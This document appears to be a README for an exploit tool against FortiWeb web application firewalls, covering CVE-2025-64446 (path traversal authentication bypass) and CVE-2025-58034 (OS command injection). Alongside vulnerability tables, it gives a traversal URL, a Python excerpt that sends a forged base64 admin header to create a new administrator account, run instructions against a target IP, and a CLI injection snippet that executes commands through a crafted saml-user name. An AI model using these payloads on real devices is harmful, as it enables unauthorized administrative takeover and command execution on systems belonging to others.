
Lỗ hổng FORTIWEB_CVE-2025-64446 & CVE-2025-58034
FortiWeb is a Web Application Firewall (WAF) device used to protect web applications.
In 2025, two critical vulnerabilities were discovered:
| Item | Content |
|---|---|
| Vulnerability Type | Relative Path Traversal Authentication Bypass |
| Cause | FortiWeb processes paths loosely before authentication: - Access control based on logical path string - Does not fully normalize the path - Allows using ../ to access internal resources |
| Description | Some administrative endpoints can be accessed without valid authentication |
| Impact | - Completely bypass authentication - Unauthorized access to admin functions - Breaks the authorization model |
| Affected Versions | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
Example:
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
This helps avoid library version conflicts, ensures a stable working environment, and limits impact on the system.
Payload
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
Run the tool using Python3:
python3 exploit.py <IP_target>
<IP_target>: The IP address is the hostname of the FortiWeb device.
Obtain username and password -> proceed to login
Successful exploitation and created a new account with admin privileges.
After successfully logging in with the newly created admin account, an attacker can exploit the authenticated command injection vulnerability through specially crafted requests or directly through the FortiWeb CLI:
config user saml-user
edit "`id`" ## nhập lệnh tại đây
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
FortiWeb will exit the configuration string and execute the id command during the saml-user configuration.
| Item | Content |
|---|
| Vulnerability Type | OS Command Injection (CWE-78) |
| Cause | FortiWeb processes input unsafely when executing OS commands: - No input validation - Lack of special character escaping - Directly passes user data into system commands |
| Description | The vulnerability requires authentication but allows system command injection |
| Impact | - Execute unintended commands - Access system resources - Affects integrity and availability |
| Affected Versions | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |